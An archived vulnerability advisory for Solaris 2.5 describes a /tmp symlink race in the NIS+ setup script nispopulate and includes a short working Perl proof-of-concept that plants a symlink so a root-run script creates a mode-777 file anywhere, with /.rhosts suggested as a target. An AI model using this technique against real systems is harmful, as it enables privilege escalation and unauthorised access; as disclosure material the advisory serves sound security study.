home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / hoobie / sol2.5_nis.txt < prev    next >
Encoding:
Text File  |  2001-11-06  |  2.1 KB  |  64 lines

  1. Platform : Solaris 2.5
  2. Problem  : bad /tmp file creation
  3. Impact   : write files anywhere in the filesystem with mode 777
  4.  
  5. The script '/usr/lib/nis/nispopulate' creates files with modebits 777 in
  6. /tmp. The files gleefully follow symlinks to where ever you like them to.
  7.  
  8. In an attempt to make the names unpredictable, the filenames are postfixed
  9. with the process-id and a number from 0-4. However, the script does the
  10. following:
  11.  
  12. 1. creates files /tmp/sh<PID>[0-4] w/permission 666
  13. 2. waits for user input
  14. 3. creates file /tmp/passwd_<PID> w/permission 777
  15.  
  16. A malicious program monitoring the /tmp directory for filenames
  17. 'sh<PID>[0-4]' can snip out the PID and insert a symlink at
  18. /tmp/passwd_<PID> before it is created in step 3.
  19.  
  20. 'nispopulate' is used for migrating /etc-files or NIS-maps into
  21. NIS+-tables. It is run only once during the setup of a NIS+ server. So, no
  22. need to be alarmed. I'm not too sure about the rest of '/usr/lib/nis/*',
  23. but all of the scripts seem rather crummy as far as /tmp and
  24. filepermissions go.
  25.  
  26. The attached perlscript sits waiting for /tmp/sh*' files to be created.
  27. When they are, a symlink to $destfile is placed in /tmp, in this case
  28. /hello.world. It could of course be /.rhosts, /usr/bin/.rhosts or
  29. whatever.
  30.  
  31. NB! The exploit works only when you run 'nispopulate'.  The other
  32. '/usr/lib/nis/*' scripts will have no effect. This has the pleasing effect
  33. of preventing someone from starting the exploit and start hassling their
  34. admin to intall nis+. :)
  35.  
  36. To test:
  37.  
  38. ---------------------------------- clip --------------------------------
  39.  
  40. #!/opt/gnu/bin/perl
  41.  
  42. # nisplus-exploit.pl
  43. #
  44. # to test: 1) start the script   2) as root, run /usr/lib/nispopulate
  45. # Demonstrates weakness in Solaris 2.5 /usr/lib/nis/nispopulate
  46. # shell script, by inserting a symlink postfixed with pid
  47. #
  48. #                                     - runeb@td.org.uit.no
  49.  
  50. $destfile = "/hello.world";
  51.  
  52. do {
  53.     opendir(TMP, "/tmp");
  54.     while ($f = readdir(TMP)) {
  55.         if (substr($f, 0, 2) eq "sh") {
  56.             symlink($destfile, "/tmp/passwd_" . substr($f,2,length($f)-3));
  57.             $quit=1; last;
  58.         }
  59.     }
  60.     closedir(TMP);
  61.     sleep(1);
  62. } while $quit == 0;
  63.  
  64.